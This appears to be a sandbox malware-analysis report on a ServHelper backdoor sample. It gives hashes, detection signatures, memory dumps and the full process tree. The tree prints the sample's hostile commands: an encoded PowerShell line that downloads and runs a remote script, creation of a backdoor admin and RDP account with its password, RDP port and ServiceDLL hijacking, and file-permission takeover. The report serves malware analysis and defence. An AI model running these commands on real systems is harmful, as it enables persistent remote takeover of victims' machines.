Analysis

  • max time kernel
    144s
  • max time network
    64s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    10/10/2021, 20:55

General

  • Target

    5t6yujh.exe

  • Size

    5.7MB

  • MD5

    211ca7c8d5fd20f7dcaebdbe354662be

  • SHA1

    1111e864f3e9d2e6879c5179c4136638b05b67c9

  • SHA256

    aefb4a2472f0517d58cae7e5e0c9c51b4e36b39f6096dbffc6b8cc18d0be7175

  • SHA512

    d7e6e638cdfd4792a09d671f4e61de715a63a9001283594e6c73d5a88dfc8b91d201fc19b1228b7b1a654f9abb8cf52893d3cc02aea142a1c5c7b9d3f876e24f

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5t6yujh.exe
    "C:\Users\Admin\AppData\Local\Temp\5t6yujh.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1724
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2bmya4d3\2bmya4d3.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1728
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDC5B.tmp" "c:\Users\Admin\AppData\Local\Temp\2bmya4d3\CSC78F7F96AED0E42A3BD16D3E9B0B539F5.TMP"
          4⤵
            PID:600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1116
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
            PID:1080
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:776
          • C:\Windows\system32\takeown.exe
            "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:620
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1328
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:1732
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:580
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1784
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1160
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1844
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1600
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            3⤵
              PID:1992
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              3⤵
              • Modifies registry key
              PID:1440
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              3⤵
                PID:1200
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1116
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  4⤵
                    PID:1792
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:324
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1812
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      5⤵
                        PID:1068
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start rdpdr
                          6⤵
                            PID:1680
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                      3⤵
                        PID:944
                        • C:\Windows\system32\cmd.exe
                          cmd /c net start TermService
                          4⤵
                            PID:1656
                            • C:\Windows\system32\net.exe
                              net start TermService
                              5⤵
                                PID:1016
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 start TermService
                                  6⤵
                                    PID:756
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                              3⤵
                                PID:1608
                              • C:\Windows\system32\cmd.exe
                                "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                3⤵
                                  PID:1472
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc 000000 /del
                              1⤵
                                PID:620
                                • C:\Windows\system32\net.exe
                                  net.exe user WgaUtilAcc 000000 /del
                                  2⤵
                                    PID:844
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                      3⤵
                                        PID:556
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe user WgaUtilAcc CZBb3gcd /add
                                    1⤵
                                      PID:1832
                                      • C:\Windows\system32\net.exe
                                        net.exe user WgaUtilAcc CZBb3gcd /add
                                        2⤵
                                          PID:1368
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 user WgaUtilAcc CZBb3gcd /add
                                            3⤵
                                              PID:1592
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                          1⤵
                                            PID:1736
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              2⤵
                                                PID:1200
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                  3⤵
                                                    PID:1008
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                1⤵
                                                  PID:1816
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                    2⤵
                                                      PID:1068
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                        3⤵
                                                          PID:2032
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                      1⤵
                                                        PID:1792
                                                        • C:\Windows\system32\net.exe
                                                          net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          2⤵
                                                            PID:580
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                              3⤵
                                                                PID:844
                                                          • C:\Windows\System32\cmd.exe
                                                            cmd /C net.exe user WgaUtilAcc CZBb3gcd
                                                            1⤵
                                                              PID:556
                                                              • C:\Windows\system32\net.exe
                                                                net.exe user WgaUtilAcc CZBb3gcd
                                                                2⤵
                                                                  PID:1628
                                                                  • C:\Windows\system32\net1.exe
                                                                    C:\Windows\system32\net1 user WgaUtilAcc CZBb3gcd
                                                                    3⤵
                                                                      PID:1368
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic path win32_VideoController get name
                                                                  1⤵
                                                                    PID:796
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic path win32_VideoController get name
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1712
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C wmic CPU get NAME
                                                                    1⤵
                                                                      PID:1648
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic CPU get NAME
                                                                        2⤵
                                                                        • Modifies data under HKEY_USERS
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:1816
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                      1⤵
                                                                        PID:1760
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          2⤵
                                                                            PID:1792
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                              3⤵
                                                                              • Blocklisted process makes network request
                                                                              • Drops file in Windows directory
                                                                              • Modifies data under HKEY_USERS
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1844

                                                                        Network

                                                                        MITRE ATT&CK Enterprise v6

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        • memory/776-128-0x000000001AAC4000-0x000000001AAC6000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/776-127-0x000000001AAC0000-0x000000001AAC2000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1116-101-0x00000000025F0000-0x00000000025F1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1116-121-0x000000001B5E0000-0x000000001B5E1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1116-120-0x000000001AC30000-0x000000001AC31000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1116-107-0x000000001B5A0000-0x000000001B5A1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1116-93-0x000000001AC40000-0x000000001AC42000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1116-100-0x00000000025A0000-0x00000000025A1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1116-98-0x000000001B6E0000-0x000000001B6E1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1116-96-0x00000000023C0000-0x00000000023C1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1116-94-0x000000001AC44000-0x000000001AC46000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1724-85-0x000000001B760000-0x000000001B761000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1724-87-0x00000000026F0000-0x00000000026F1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1724-67-0x000007FEFC051000-0x000007FEFC053000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1724-70-0x0000000002460000-0x0000000002461000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1724-73-0x0000000002490000-0x0000000002491000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1724-69-0x000000001AC00000-0x000000001AC01000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1724-75-0x000000001C1B0000-0x000000001C1B1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1724-72-0x000000001AAA4000-0x000000001AAA6000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1724-144-0x000000001C5B0000-0x000000001C5B1000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1724-102-0x000000001AAAA000-0x000000001AAC9000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1724-71-0x000000001AAA0000-0x000000001AAA2000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1724-83-0x0000000002330000-0x0000000002331000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1724-86-0x000000001C280000-0x000000001C281000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1724-68-0x0000000002260000-0x0000000002261000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1844-221-0x000000001964A000-0x0000000019669000-memory.dmp

                                                                          Filesize

                                                                          124KB

                                                                        • memory/1844-201-0x0000000000F80000-0x0000000000F81000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1844-200-0x0000000000E00000-0x0000000000E01000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1844-195-0x0000000019540000-0x0000000019541000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1844-191-0x0000000019640000-0x0000000019642000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1844-192-0x0000000019644000-0x0000000019646000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1996-65-0x00000000411E7000-0x00000000411E8000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1996-63-0x00000000411E4000-0x00000000411E6000-memory.dmp

                                                                          Filesize

                                                                          8KB

                                                                        • memory/1996-60-0x0000000041660000-0x0000000041A5F000-memory.dmp

                                                                          Filesize

                                                                          4.0MB

                                                                        • memory/1996-64-0x00000000411E6000-0x00000000411E7000-memory.dmp

                                                                          Filesize

                                                                          4KB

                                                                        • memory/1996-62-0x00000000411E2000-0x00000000411E4000-memory.dmp

                                                                          Filesize

                                                                          8KB